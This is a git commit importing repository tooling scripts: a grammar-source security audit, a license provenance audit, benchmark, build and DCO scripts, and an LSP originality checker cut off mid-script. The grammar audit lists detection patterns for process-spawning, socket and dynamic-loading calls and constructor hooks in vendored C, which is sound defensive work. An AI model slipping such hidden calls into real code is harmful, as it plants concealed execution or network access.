chore: import upstream snapshot with attribution
OpenSSF Scorecard / scorecard (push) Failing after 0s
DCO / dco (push) Failing after 0s
CodeQL SAST / analyze (push) Failing after 1s
Deploy Pages / deploy (push) Failing after 1s

This commit is contained in:
wehub-resource-sync
2026-07-13 12:28:05 +08:00
commit 41cb1c0170
1830 changed files with 38276124 additions and 0 deletions
+116
View File
@@ -0,0 +1,116 @@
#!/usr/bin/env bash
set -euo pipefail
# audit-grammar-security.sh — Scan vendored tree-sitter grammar scanner.c
# files for dangerous patterns that could indicate malicious code.
#
# Grammars are third-party C source compiled into our binary. parser.c files
# are auto-generated (low risk), but scanner.c files are hand-written C with
# access to memory allocation and input text.
#
# Usage: scripts/audit-grammar-security.sh [directory]
# Default: internal/cbm/vendored/grammars/
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
GRAMMAR_DIR="${1:-$ROOT/internal/cbm/vendored/grammars}"
if [ ! -d "$GRAMMAR_DIR" ]; then
echo "ERROR: directory not found: $GRAMMAR_DIR" >&2
exit 1
fi
echo "=== Grammar Security Audit ==="
echo "Scanning: $GRAMMAR_DIR"
echo ""
TOTAL=0
WARNED=0
BLOCKED=0
# Safe includes that scanners legitimately use
SAFE_INCLUDES='string\.h|stdint\.h|stdbool\.h|stdlib\.h|wctype\.h|stdio\.h|stddef\.h|limits\.h|assert\.h|ctype\.h|wchar\.h|math\.h|stdalign\.h|stdarg\.h|float\.h|inttypes\.h'
# Dangerous includes
DANGER_INCLUDES='unistd\.h|sys/|netdb\.h|dlfcn\.h|signal\.h|spawn\.h|pthread\.h|fcntl\.h|dirent\.h|termios\.h|arpa/|netinet/'
# Dangerous function calls (word-boundary \b to avoid matching lex_accept, etc.)
# getenv("TREE_SITTER_DEBUG") is a standard tree-sitter pattern, excluded.
DANGER_CALLS='\bsystem\s*\(|\bexec[lvpe]+\s*\(|\bpopen\s*\(|\bfopen\s*\(|\bfwrite\s*\(|\bsocket\s*\(|\bfork\s*\(|\bdlopen\s*\(|\bconnect\s*\(|\bbind\s*\(|\blisten\s*\(|\bsendto\s*\(|\brecvfrom\s*\(|\bmmap\s*\(|\bmprotect\s*\('
# getenv is only dangerous for non-debug uses
DANGER_GETENV='\bgetenv\s*\('
SAFE_GETENV='TREE_SITTER_DEBUG'
# Suspicious patterns
SUSPICIOUS='__attribute__\s*\(\s*\(\s*constructor|__attribute__\s*\(\s*\(\s*destructor|asm\s*\(|__asm__|__asm\b'
for grammar_dir in "$GRAMMAR_DIR"/*/; do
name=$(basename "$grammar_dir")
TOTAL=$((TOTAL + 1))
issues=""
for src in "$grammar_dir"scanner.c "$grammar_dir"scanner.cc "$grammar_dir"*.h "$grammar_dir"*.inc; do
[ -f "$src" ] || continue
basename_src=$(basename "$src")
# Skip tree_sitter/ subdirectory headers (those are standard)
case "$src" in
*/tree_sitter/*) continue ;;
esac
# Check dangerous includes
while IFS= read -r line; do
issues="${issues} WARN $basename_src: dangerous include: $line\n"
done < <(grep -nE "#include\s*<($DANGER_INCLUDES)" "$src" 2>/dev/null || true)
# Check dangerous calls
while IFS= read -r line; do
issues="${issues} BLOCK $basename_src: dangerous call: $line\n"
done < <(grep -nE "$DANGER_CALLS" "$src" 2>/dev/null || true)
# Check getenv separately (allow TREE_SITTER_DEBUG)
while IFS= read -r line; do
if ! echo "$line" | grep -qF "$SAFE_GETENV"; then
issues="${issues} BLOCK $basename_src: dangerous call: $line\n"
fi
done < <(grep -nE "$DANGER_GETENV" "$src" 2>/dev/null || true)
# Check suspicious patterns
while IFS= read -r line; do
issues="${issues} BLOCK $basename_src: suspicious pattern: $line\n"
done < <(grep -nE "$SUSPICIOUS" "$src" 2>/dev/null || true)
# Check for base64-like long encoded strings (40+ alphanumeric chars)
while IFS= read -r line; do
issues="${issues} WARN $basename_src: possible encoded data: $line\n"
done < <(grep -nE '"[A-Za-z0-9+/]{60,}={0,2}"' "$src" 2>/dev/null || true)
done
if [ -n "$issues" ]; then
if echo -e "$issues" | grep -q "BLOCK"; then
echo "BLOCK $name:"
echo -e "$issues"
BLOCKED=$((BLOCKED + 1))
else
echo "WARN $name:"
echo -e "$issues"
WARNED=$((WARNED + 1))
fi
fi
done
echo "────────────────────────────────────────────"
echo " Scanned: $TOTAL grammars"
echo " Clean: $((TOTAL - WARNED - BLOCKED))"
echo " Warned: $WARNED"
echo " Blocked: $BLOCKED"
echo "────────────────────────────────────────────"
if [ "$BLOCKED" -gt 0 ]; then
echo ""
echo "FAILED: $BLOCKED grammar(s) have dangerous patterns. Review before vendoring."
exit 1
fi
echo ""
echo "PASSED: No dangerous patterns found."
exit 0
+226
View File
@@ -0,0 +1,226 @@
#!/usr/bin/env python3
"""Byte-identity audit: compare every vendored license file against upstream.
Verdicts:
IDENTICAL byte-equal to the upstream default-branch license
IDENTICAL@PINNED byte-equal to the license at the manifest's pinned commit
FIRST-PARTY-OK byte-equal to the project root LICENSE
FIRST-PARTY-VAR first-party but text differs from root LICENSE (inspect)
DIFFERS no byte-equal upstream candidate found (inspect)
ERROR upstream fetch failed
"""
import base64
import json
import os
import re
import subprocess
import sys
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
GRAMMARS = os.path.join(ROOT, "internal/cbm/vendored/grammars")
FIRST_PARTY = {"cobol", "form", "janet", "magma", "protobuf", "wolfram"}
FORKS = { # self-maintained forks: vendored LICENSE must match the original upstream
"cfml": "cfmleditor/tree-sitter-cfml",
"cfscript": "cfmleditor/tree-sitter-cfml",
"dotenv": "pnx/tree-sitter-dotenv",
"qml": "yuja/tree-sitter-qmljs",
}
SPECIAL_NOTICE = {
"assembly": "RETAINED-MIT (upstream RubixDev/tree-sitter-assembly deleted from GitHub)",
"pine": "PROVENANCE-NOTICE (upstream kvarenzn/tree-sitter-pine declares ISC, ships no license file)",
}
DISAGREEMENT = {
"jinja2": "dbt-labs/tree-sitter-jinja2",
"just": "casey/tree-sitter-just",
"move": "tzakian/tree-sitter-move",
"sshconfig": "ObserverOfTime/tree-sitter-ssh-config",
"zsh": "georgeharker/tree-sitter-zsh",
}
LIBS = {
"vendored/mimalloc": ("microsoft/mimalloc", None),
"vendored/tre": ("laurikari/tre", None),
"vendored/xxhash": ("Cyan4973/xxHash", None),
"vendored/yyjson": ("ibireme/yyjson", None),
"internal/cbm/vendored/lz4": ("lz4/lz4", "lib/LICENSE"),
"internal/cbm/vendored/zstd": ("facebook/zstd", None),
"internal/cbm/vendored/simplecpp": ("danmar/simplecpp", None),
"internal/cbm/vendored/verstable": ("JacksonAllan/Verstable", None),
"internal/cbm/vendored/wyhash": ("wangyi-fudan/wyhash", None),
"internal/cbm/vendored/ts_runtime": ("tree-sitter/tree-sitter", None),
"internal/cbm/vendored/common": ("tree-sitter/tree-sitter-html", None),
"internal/cbm/vendored/common/tree_sitter": ("tree-sitter/tree-sitter", None),
}
CANDIDATE_NAMES = ["LICENSE", "LICENSE.md", "LICENSE.txt", "COPYING",
"COPYING.txt", "LICENSE-MIT", "UNLICENSE", "LICENCE",
"license", "License.txt", "NOTICE"]
def gh_api(path):
r = subprocess.run(["gh", "api", path], capture_output=True, text=True)
if r.returncode != 0:
return None
return r.stdout
def upstream_default_license(repo):
out = gh_api(f"repos/{repo}/license")
if not out:
return None
try:
d = json.loads(out)
return base64.b64decode(d.get("content", "")).decode("utf-8", "replace")
except Exception:
return None
def upstream_file(repo, path, ref=None):
url = f"repos/{repo}/contents/{path}"
if ref:
url += f"?ref={ref}"
out = gh_api(url)
if not out:
return None
try:
d = json.loads(out)
if isinstance(d, dict) and d.get("content"):
return base64.b64decode(d["content"]).decode("utf-8", "replace")
except Exception:
pass
return None
def local_license(dirpath):
if not os.path.isdir(dirpath):
return None, None
for f in sorted(os.listdir(dirpath)):
if re.match(r"^(LICENSE|LICENCE|COPYING|UNLICENSE)", f, re.I):
p = os.path.join(dirpath, f)
with open(p, encoding="utf-8", errors="replace") as fh:
return f, fh.read()
return None, None
def parse_manifest():
"""grammar -> (repo, pinned_commit) from the verified-upstream table."""
out = {}
with open(os.path.join(GRAMMARS, "MANIFEST.md"), encoding="utf-8") as fh:
for line in fh:
m = re.match(
r"^\| (\w[\w.+-]*) \| \d+ \| ([\w.-]+/[\w.-]+) \| `([^`]+)` \|", line)
if m:
out[m.group(1)] = (m.group(2), m.group(3))
return out
def main():
with open(os.path.join(ROOT, "LICENSE"), encoding="utf-8") as fh:
root_license = fh.read()
manifest = parse_manifest()
results = {}
def check_upstream(key, dirpath, repo, pinned=None, exact_path=None):
fname, ours = local_license(dirpath)
if ours is None:
results[key] = ("NO-LOCAL-LICENSE", "")
return
# 1) exact upstream path (e.g. lz4 lib/LICENSE), at HEAD then pinned
if exact_path:
for ref in (None, pinned):
up = upstream_file(repo, exact_path, ref)
if up is not None and up == ours:
results[key] = ("IDENTICAL" if ref is None else "IDENTICAL@PINNED",
f"{repo}:{exact_path}")
return
# 2) default-branch detected license
up = upstream_default_license(repo)
if up is not None and up == ours:
results[key] = ("IDENTICAL", f"{repo} (default branch)")
return
# 3) pinned-commit candidates by filename
if pinned:
tried = [fname] + [c for c in CANDIDATE_NAMES if c != fname]
for cand in tried:
up2 = upstream_file(repo, cand, pinned)
if up2 is not None and up2 == ours:
results[key] = ("IDENTICAL@PINNED", f"{repo}:{cand}@{pinned}")
return
# 4) HEAD candidates by filename
for cand in CANDIDATE_NAMES:
up3 = upstream_file(repo, cand)
if up3 is not None and up3 == ours:
results[key] = ("IDENTICAL", f"{repo}:{cand} (default branch)")
return
results[key] = ("DIFFERS" if up is not None else "ERROR", f"{repo}")
# Libraries
for rel, (repo, exact) in LIBS.items():
check_upstream(rel, os.path.join(ROOT, rel), repo, exact_path=exact)
# Special: nomic = canonical Apache-2.0 text; sqlite3 = first-party notice
fname, ours = local_license(os.path.join(ROOT, "vendored/nomic"))
apache = subprocess.run(
["curl", "-fsSL", "https://www.apache.org/licenses/LICENSE-2.0.txt"],
capture_output=True, text=True).stdout
results["vendored/nomic"] = (
"IDENTICAL" if ours == apache else "DIFFERS",
"apache.org canonical LICENSE-2.0.txt")
results["vendored/sqlite3"] = ("FIRST-PARTY-NOTICE",
"own public-domain notice (sqlite has no upstream LICENSE)")
# Grammars
for g in sorted(os.listdir(GRAMMARS)):
d = os.path.join(GRAMMARS, g)
if not os.path.isdir(d):
continue
key = f"grammars/{g}"
if g in FIRST_PARTY:
fname, ours = local_license(d)
if ours == root_license:
results[key] = ("FIRST-PARTY-OK", "== project root LICENSE")
else:
results[key] = ("FIRST-PARTY-VAR", f"{fname}: differs from root LICENSE")
continue
if g in FORKS:
check_upstream(key, d, FORKS[g])
continue
if g in SPECIAL_NOTICE:
results[key] = ("MANUAL-VERIFIED", SPECIAL_NOTICE[g])
continue
if g in DISAGREEMENT:
check_upstream(key, d, DISAGREEMENT[g])
continue
if g in manifest:
repo, pinned = manifest[g]
check_upstream(key, d, repo, pinned=pinned)
continue
results[key] = ("NO-MANIFEST-ENTRY", "")
# Report
from collections import Counter
counts = Counter(v[0] for v in results.values())
print("=== verdict histogram ===")
for k, v in counts.most_common():
print(f" {k}: {v}")
print()
print("=== everything that is NOT byte-identical ===")
for key in sorted(results):
verdict, detail = results[key]
if verdict not in ("IDENTICAL", "IDENTICAL@PINNED", "FIRST-PARTY-OK"):
print(f" {key}: {verdict} [{detail}]")
json.dump({k: list(v) for k, v in results.items()},
open("/tmp/audit_licenses_results.json", "w"), indent=1)
print("\nfull results: /tmp/audit_licenses_results.json")
accepted = {"IDENTICAL", "IDENTICAL@PINNED", "FIRST-PARTY-OK",
"FIRST-PARTY-NOTICE", "MANUAL-VERIFIED"}
bad = {k: v for k, v in results.items() if v[0] not in accepted}
if bad:
print(f"\nPROVENANCE AUDIT FAILED: {len(bad)} unexplained verdict(s)")
sys.exit(1)
print("\nPROVENANCE AUDIT PASSED: every vendored license accounted for")
if __name__ == "__main__":
main()
+82
View File
@@ -0,0 +1,82 @@
#!/usr/bin/env bash
set -euo pipefail
# Index a single benchmark repository and capture metrics.
# Usage: benchmark-index.sh <binary> <lang> <repo_path> <results_dir>
BINARY="${1:?Usage: benchmark-index.sh <binary> <lang> <repo_path> <results_dir>}"
LANG="${2:?}"
REPO="${3:?}"
RESULTS_DIR="${4:?}"
# Resolve symlinks
REPO=$(cd "$REPO" && pwd -P)
OUT="$RESULTS_DIR/$LANG"
mkdir -p "$OUT"
echo "INDEX: $LANG ($REPO)"
# Count source files and LOC (exclude .git, vendor, node_modules, build dirs)
FILE_COUNT=$(find "$REPO" -type f \
! -path '*/.git/*' ! -path '*/node_modules/*' ! -path '*/vendor/*' \
! -path '*/target/*' ! -path '*/build/*' ! -path '*/dist/*' \
! -path '*/__pycache__/*' ! -path '*/.cache/*' \
| wc -l | tr -d ' ')
LOC=$(find "$REPO" -type f \
! -path '*/.git/*' ! -path '*/node_modules/*' ! -path '*/vendor/*' \
! -path '*/target/*' ! -path '*/build/*' ! -path '*/dist/*' \
! -path '*/__pycache__/*' ! -path '*/.cache/*' \
-exec cat {} + 2>/dev/null | wc -l | tr -d ' ')
echo "$FILE_COUNT" > "$OUT/file-count.txt"
echo "$LOC" > "$OUT/loc.txt"
# Index via CLI and capture timing
START_MS=$(python3 -c "import time; print(int(time.time()*1000))")
INDEX_JSON=$("$BINARY" cli index_repository "{\"repo_path\":\"$REPO\",\"mode\":\"full\"}" 2>/dev/null || echo '{"error":"index failed"}')
END_MS=$(python3 -c "import time; print(int(time.time()*1000))")
ELAPSED=$((END_MS - START_MS))
echo "$INDEX_JSON" > "$OUT/00-index.json"
echo "$ELAPSED" > "$OUT/index-time.txt"
# Extract node/edge counts (CLI wraps in MCP content envelope)
NODES=$(echo "$INDEX_JSON" | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Unwrap MCP content envelope if present
if 'content' in d:
inner=json.loads(d['content'][0]['text'])
else:
inner=d
print(inner.get('nodes',0))
" 2>/dev/null || echo "0")
EDGES=$(echo "$INDEX_JSON" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'content' in d:
inner=json.loads(d['content'][0]['text'])
else:
inner=d
print(inner.get('edges',0))
" 2>/dev/null || echo "0")
PROJECT=$(echo "$INDEX_JSON" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'content' in d:
inner=json.loads(d['content'][0]['text'])
else:
inner=d
print(inner.get('project',''))
" 2>/dev/null || echo "")
echo "$NODES" > "$OUT/nodes.txt"
echo "$EDGES" > "$OUT/edges.txt"
echo "$PROJECT" > "$OUT/project.txt"
printf " %s: %s files, %s LOC, %sms, %s nodes, %s edges\n" \
"$LANG" "$FILE_COUNT" "$LOC" "$ELAPSED" "$NODES" "$EDGES"
+63
View File
@@ -0,0 +1,63 @@
#!/usr/bin/env bash
# benchmark-search-graph.sh — Time search_graph name_pattern= queries against a
# codebase-memory-mcp binary to measure the regex / LIKE pre-filter performance.
#
# Usage:
# scripts/benchmark-search-graph.sh <binary-path> <project-name>
#
# Example:
# scripts/benchmark-search-graph.sh ./build/c/codebase-memory-mcp my-project
set -euo pipefail
BINARY="${1:?Usage: $0 <binary-path> <project-name>}"
PROJECT="${2:?Usage: $0 <binary-path> <project-name>}"
echo "Binary: $BINARY"
echo "Project: $PROJECT"
echo ""
run_case() {
local label="$1"
local request="$2"
local start end elapsed_ms result
start=$(date +%s%3N)
result=$(echo "$request" | "$BINARY" 2>/dev/null || true)
end=$(date +%s%3N)
elapsed_ms=$(( end - start ))
local count
count=$(echo "$result" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
content = d.get('result', {}).get('content', [{}])[0].get('text', '{}')
obj = json.loads(content)
print(obj.get('total', obj.get('count', '?')))
except Exception:
print('?')
" 2>/dev/null || echo "?")
printf " %-55s %5dms (total=%s)\n" "$label" "$elapsed_ms" "$count"
}
sg() {
local project="$1"
local args="$2"
printf '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"search_graph","arguments":{"project":"%s",%s}}}' \
"$project" "$args"
}
echo "=== search_graph name_pattern= benchmarks ==="
run_case "name_pattern=.*Controller.*" "$(sg "$PROJECT" '"name_pattern":".*Controller.*","limit":20')"
run_case "name_pattern=.*Service.*" "$(sg "$PROJECT" '"name_pattern":".*Service.*","limit":20')"
run_case "name_pattern=.*Repository.*" "$(sg "$PROJECT" '"name_pattern":".*Repository.*","limit":20')"
run_case "name_pattern=specificFunctionName" "$(sg "$PROJECT" '"name_pattern":"specificFunctionName","limit":20')"
run_case "label=Method + name_pattern=.*get.*" "$(sg "$PROJECT" '"label":"Method","name_pattern":".*get.*","limit":20')"
echo ""
echo "=== search_graph query= benchmarks (BM25 path) ==="
run_case "query=controller service handler" "$(sg "$PROJECT" '"query":"controller service handler","limit":20')"
run_case "query=user authentication permission role" "$(sg "$PROJECT" '"query":"user authentication permission role","limit":20')"
run_case "query=create update delete manage list view admin" "$(sg "$PROJECT" '"query":"create update delete manage list view admin","limit":20')"
+99
View File
@@ -0,0 +1,99 @@
#!/usr/bin/env bash
# build.sh — Clean build of production binary (standard or with UI).
#
# Usage:
# scripts/build.sh # Standard binary
# scripts/build.sh --with-ui # Binary with embedded UI
# scripts/build.sh --version v0.8.0 # With version stamp
# scripts/build.sh --arch x86_64 # Force x86_64 build
# scripts/build.sh CC=gcc-14 CXX=g++-14 # Override compiler
#
# This script is the SINGLE source of truth for building release binaries.
# Used identically in local development and CI workflows.
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
# Pre-parse --arch flag before sourcing env.sh
for arg in "$@"; do
case "$arg" in
--arch=*) export CBM_ARCH="${arg#--arch=}" ;;
esac
done
prev_arg=""
for arg in "$@"; do
if [[ "${prev_arg:-}" == "--arch" ]]; then
export CBM_ARCH="$arg"
fi
prev_arg="$arg"
done
# shellcheck source=env.sh
source "$ROOT/scripts/env.sh"
# Parse remaining arguments
WITH_UI=false
VERSION=""
EXTRA_MAKE_ARGS=()
prev_arg=""
for arg in "$@"; do
# Skip --arch and its value (already handled)
if [[ "${prev_arg:-}" == "--arch" ]]; then
prev_arg="$arg"
continue
fi
case "$arg" in
--with-ui)
WITH_UI=true
;;
--version)
prev_arg="$arg"
continue
;;
--arch|--arch=*)
;; # already handled
CC=*|CXX=*)
export "${arg}"
EXTRA_MAKE_ARGS+=("$arg")
;;
*)
# Check if this is the value for --version
if [[ "${prev_arg:-}" == "--version" ]]; then
VERSION="$arg"
else
EXTRA_MAKE_ARGS+=("$arg")
fi
;;
esac
prev_arg="$arg"
done
# Version flag
CFLAGS_EXTRA=""
if [[ -n "$VERSION" ]]; then
CLEAN_VERSION="${VERSION#v}"
CFLAGS_EXTRA="-DCBM_VERSION=\"\\\"$CLEAN_VERSION\\\"\""
fi
print_env "build.sh"
echo " ui=$WITH_UI version=${VERSION:-dev}"
# Verify compiler supports target arch
verify_compiler "$CC"
# Step 1: Clean C build artifacts only (not node_modules — npm ci handles that)
rm -rf "$ROOT/build/c"
# Step 2: Build (Makefile applies $ARCHFLAGS for the target arch on macOS)
if $WITH_UI; then
make -j"$NPROC" -f Makefile.cbm cbm-with-ui \
CFLAGS_EXTRA="$CFLAGS_EXTRA" "${EXTRA_MAKE_ARGS[@]+"${EXTRA_MAKE_ARGS[@]}"}"
else
make -j"$NPROC" -f Makefile.cbm cbm \
CFLAGS_EXTRA="$CFLAGS_EXTRA" "${EXTRA_MAKE_ARGS[@]+"${EXTRA_MAKE_ARGS[@]}"}"
fi
echo "=== Build complete: build/c/codebase-memory-mcp ==="
+43
View File
@@ -0,0 +1,43 @@
#!/usr/bin/env bash
set -euo pipefail
# DCO enforcement: every commit in the given range must carry a
# Signed-off-by trailer whose email matches the commit author
# (Developer Certificate of Origin 1.1 — see the DCO file).
#
# Usage: check-dco.sh <range> e.g. origin/main..HEAD, sha1..sha2
#
# Exemptions (same as the standard DCO checks): merge commits and
# bot-authored commits (author name ending in [bot]).
RANGE="${1:?usage: check-dco.sh <commit-range>}"
FAIL=0
CHECKED=0
while IFS= read -r sha; do
# Skip merge commits
nparents=$(git rev-list --no-walk --parents -n1 "$sha" | wc -w)
if [ "$nparents" -gt 2 ]; then
continue
fi
author_name=$(git log -1 --format='%an' "$sha")
case "$author_name" in
*"[bot]") continue ;;
esac
CHECKED=$((CHECKED + 1))
author_email=$(git log -1 --format='%ae' "$sha")
trailers=$(git log -1 --format='%(trailers:key=Signed-off-by,valueonly)' "$sha")
if ! printf '%s' "$trailers" | grep -qiF "<$author_email>"; then
echo "BLOCKED: $sha lacks a Signed-off-by matching its author:"
git log -1 --format=' author: %an <%ae>%n subject: %s' "$sha"
echo " fix: git commit --amend -s (or: git rebase --signoff <base>)"
FAIL=1
fi
done < <(git rev-list "$RANGE")
if [ "$FAIL" -ne 0 ]; then
echo "=== DCO CHECK FAILED — every commit must be signed off (git commit -s) ==="
echo "=== See the DCO file and CONTRIBUTING.md ==="
exit 1
fi
echo "OK: $CHECKED commit(s) in $RANGE carry a valid Signed-off-by"
+227
View File
@@ -0,0 +1,227 @@
#!/usr/bin/env bash
# check-lsp-originality.sh — Provenance guard for the hybrid LSP implementations.
#
# WHY THIS EXISTS
# The LSP layer (internal/cbm/lsp/) is an original C implementation whose
# behavior is "structurally inspired by and compatible with" the reference
# language servers (pyright, gopls, tsserver, Roslyn, clangd, rust-analyzer,
# …). We claim it contains NO source copied from those projects. This script
# is the documented, runnable check that backs that claim — run it before
# committing any NEW LSP implementation work, and review its report.
#
# WHAT IT CATCHES (the realistic copy "tells", and they survive a language port)
# 1. Verbatim string / error-message literals shared with a reference.
# 2. Verbatim comment phrases shared with a reference (the classic port tell:
# people re-type the logic but keep the explanatory comments).
# 3. Same-language structural clones via jscpd (uses `jscpd` on PATH, else
# `npx --yes jscpd`) — token-level clone detection, run only for clangd
# (C++ ↔ our C), the one reference close enough to C to tokenize alike.
#
# WHAT IT CANNOT CATCH (be honest — these need a human)
# An algorithm ported line-by-line with every identifier/comment rewritten is
# NOT machine-detectable cheaply across C↔TS/Go/C#/Rust/Java. A clean report
# is necessary, not sufficient: it means "no verbatim overlap found", not
# "provably independent". The git history (incremental, test-driven authorship)
# is the complementary evidence; keep it clean.
#
# USAGE
# bash scripts/check-lsp-originality.sh [--lang NAME] [--refresh]
# [--list-candidates] [--help]
# --lang NAME scan against ONE reference only (py|ts|go|cs|c|java|kotlin|rust|php|perl)
# --refresh re-fetch reference sources even if cached
# --list-candidates print the extracted local tokens and exit (no fetch; self-test)
# Exit 0 = no verbatim overlap found. Exit 1 = overlap(s) to review by a human.
#
# Reference sources are shallow/sparse-cloned into $LSP_REFS_DIR (default
# .lsp-refs/, gitignored). Adding a new LSP language? Add its upstream repo to
# the REFS manifest below so this guard covers it too.
set -uo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
TAG="[lsp-orig]"
LSP_DIR="$ROOT/internal/cbm/lsp"
REFS_DIR="${LSP_REFS_DIR:-$ROOT/.lsp-refs}"
# Tunables (override via env).
MIN_STR="${LSP_ORIG_MIN_STR:-16}" # min length of a string literal to consider
MIN_COMMENT="${LSP_ORIG_MIN_COMMENT:-30}" # min length of a comment phrase to consider
MIN_TOKENS="${LSP_ORIG_MIN_TOKENS:-50}" # jscpd structural-clone min token run
# Reference manifest: lang | git URL | sparse subpath (light checkout)
REFS=(
"py|https://github.com/microsoft/pyright|packages/pyright-internal/src"
"ts|https://github.com/microsoft/TypeScript|src/compiler,src/services"
"go|https://github.com/golang/tools|gopls/internal"
"cs|https://github.com/dotnet/roslyn|src/Compilers/CSharp/Portable"
"c|https://github.com/llvm/llvm-project|clang-tools-extra/clangd"
"java|https://github.com/eclipse-jdtls/eclipse.jdt.ls|org.eclipse.jdt.ls.core/src"
"kotlin|https://github.com/fwcd/kotlin-language-server|server/src"
"rust|https://github.com/rust-lang/rust-analyzer|crates"
# PHP was implemented from specs (PHP language ref + PSR-4), with no upstream
# LSP. We scan against phpactor (MIT) — the leading OSS PHP language server —
# purely for defensive copy-detection. NOT Intelephense (proprietary).
"php|https://github.com/phpactor/phpactor|lib"
# Perl (PR #461) was authored clean-room. We scan against PerlNavigator (MIT)
# — the leading OSS Perl language server — for defensive copy-detection.
"perl|https://github.com/bscan/PerlNavigator|server/src"
)
ONLY_LANG=""; REFRESH=0; LIST_ONLY=0
while [ $# -gt 0 ]; do
case "$1" in
--lang) ONLY_LANG="${2:-}"; shift 2 ;;
--refresh) REFRESH=1; shift ;;
--list-candidates) LIST_ONLY=1; shift ;;
--help|-h) sed -n '2,40p' "$0"; exit 0 ;;
*) echo "$TAG unknown arg: $1" >&2; exit 2 ;;
esac
done
if ! command -v rg >/dev/null 2>&1; then
echo "$TAG ERROR: ripgrep (rg) is required." >&2; exit 2
fi
# --- 1. Extract distinctive local tokens from our LSP C sources ---------------
# Skip generated/ (machine-emitted stdlib tables, not hand-authored logic).
# bash 3.2 (macOS default) has no `mapfile` — build the array with a read loop.
LSP_SRC=()
while IFS= read -r f; do LSP_SRC+=("$f"); done < <(
find "$LSP_DIR" -type f \( -name '*.c' -o -name '*.h' \) -not -path '*/generated/*' | sort)
if [ "${#LSP_SRC[@]}" -eq 0 ]; then
echo "$TAG ERROR: no LSP sources under $LSP_DIR" >&2; exit 2
fi
CAND="$(mktemp)"; trap 'rm -f "$CAND" "$CAND.s" "$CAND.c" 2>/dev/null' EXIT
# String literals of interest: >= MIN_STR chars, contain a letter and a space
# (favours human-readable phrases / messages over format specifiers & symbols).
rg --no-filename -o "\"[^\"]{${MIN_STR},}\"" "${LSP_SRC[@]}" 2>/dev/null \
| sed -E 's/^"//; s/"$//' \
| rg '[A-Za-z].* ' \
| rg -v '^(%|https?://|[0-9. ]+$)' \
| sort -u > "$CAND.s"
# Comment phrases: // line comments and single-line /* ... */, >= MIN_COMMENT.
{ rg --no-filename -o '//[^\n]+' "${LSP_SRC[@]}" 2>/dev/null | sed -E 's#^//+##'
rg --no-filename -o '/\*.*\*/' "${LSP_SRC[@]}" 2>/dev/null | sed -E 's#^/\*+##; s#\*+/$##'
} | sed -E 's/^[[:space:]*]+//; s/[[:space:]]+$//' \
| awk -v n="$MIN_COMMENT" 'length($0) >= n' \
| rg -v -i '^(todo|fixme|note|hack|xxx|copyright|spdx|clang-format|nolint|fallthrough)\b' \
| sort -u > "$CAND.c"
# Keep only "meaningful" tokens: at least two real words (drops decorative
# dividers like ===== / ----- / box-drawing rules that collide with banners).
cat "$CAND.s" "$CAND.c" | grep -v '^[[:space:]]*$' \
| rg -P '[A-Za-z]{3,}[^A-Za-z]+[A-Za-z]{2,}' \
| sort -u > "$CAND"
n_str=$(wc -l < "$CAND.s" | tr -d ' '); n_com=$(wc -l < "$CAND.c" | tr -d ' ')
echo "$TAG extracted $(wc -l < "$CAND" | tr -d ' ') candidate tokens from ${#LSP_SRC[@]} LSP sources ($n_str strings, $n_com comments)"
if [ "$LIST_ONLY" -eq 1 ]; then
echo "$TAG --- candidate tokens (no fetch performed) ---"
cat "$CAND"
exit 0
fi
if [ ! -s "$CAND" ]; then
echo "$TAG no candidate tokens — nothing to compare."; exit 0
fi
# --- 2. Fetch reference sources (shallow + sparse) ----------------------------
fetch_ref() {
local lang="$1" url="$2" subpath="$3" dst="$REFS_DIR/$lang"
if [ -d "$dst/.git" ] && [ "$REFRESH" -eq 0 ]; then return 0; fi
rm -rf "$dst"; mkdir -p "$dst"
echo "$TAG fetching $lang ($url :: $subpath) ..."
if ! git clone --depth 1 --filter=blob:none --sparse "$url" "$dst" >/dev/null 2>&1; then
echo "$TAG WARN: clone failed for $lang — skipping"; rm -rf "$dst"; return 1
fi
( cd "$dst" && git sparse-checkout set ${subpath//,/ } >/dev/null 2>&1 ) || true
}
# --- 3. Search candidates in each reference -----------------------------------
# Restrict to source code — license texts, changelogs and docs are not "copying".
REF_GLOBS=(-g '!**/LICENSE*' -g '!**/COPYING*' -g '!**/NOTICE*' -g '!**/CHANGELOG*'
-g '!**/*.md' -g '!**/*.txt' -g '!**/*.json' -g '!**/*.yml' -g '!**/*.yaml')
total_hits=0
for entry in "${REFS[@]}"; do
IFS='|' read -r lang url subpath <<< "$entry"
[ -n "$ONLY_LANG" ] && [ "$ONLY_LANG" != "$lang" ] && continue
fetch_ref "$lang" "$url" "$subpath" || continue
dst="$REFS_DIR/$lang"
[ -d "$dst" ] || continue
# Fixed-string search of every candidate across this reference tree.
hits=$(rg -F -l "${REF_GLOBS[@]}" -f "$CAND" "$dst" 2>/dev/null | wc -l | tr -d ' ')
if [ "${hits:-0}" -gt 0 ]; then
echo ""
echo "$TAG ⚠ overlap with reference '$lang' ($url):"
# Show which candidate matched where (cap output).
rg -F -n "${REF_GLOBS[@]}" -f "$CAND" "$dst" 2>/dev/null | head -40
total_hits=$((total_hits + hits))
else
echo "$TAG ok — no verbatim overlap with '$lang'"
fi
done
# --- 4. Structural-clone pass (clangd C++ <-> our C; the only same-ish language)
# String search misses ports that kept the code structure but rewrote identifiers
# and strings. jscpd is a token clone detector; it tokenizes per format, so we
# stage both trees as .cpp (C tokenizes fine as C++) and report only clone pairs
# that SPAN the two trees.
structural_hits=0
if [ -z "$ONLY_LANG" ] || [ "$ONLY_LANG" = "c" ]; then
JSCPD=""
if command -v jscpd >/dev/null 2>&1; then JSCPD="jscpd"
elif command -v npx >/dev/null 2>&1; then JSCPD="npx --yes jscpd"; fi
cdir="$REFS_DIR/c"
if [ -z "$JSCPD" ]; then
echo "$TAG structural pass skipped — install jscpd (npm i -g jscpd) or node/npx to enable"
elif [ ! -d "$cdir" ]; then
echo "$TAG structural pass skipped — clangd ref not fetched (run without --lang, or --lang c)"
else
stage="$(mktemp -d)"; jout="$(mktemp -d)"
for f in "${LSP_SRC[@]}"; do
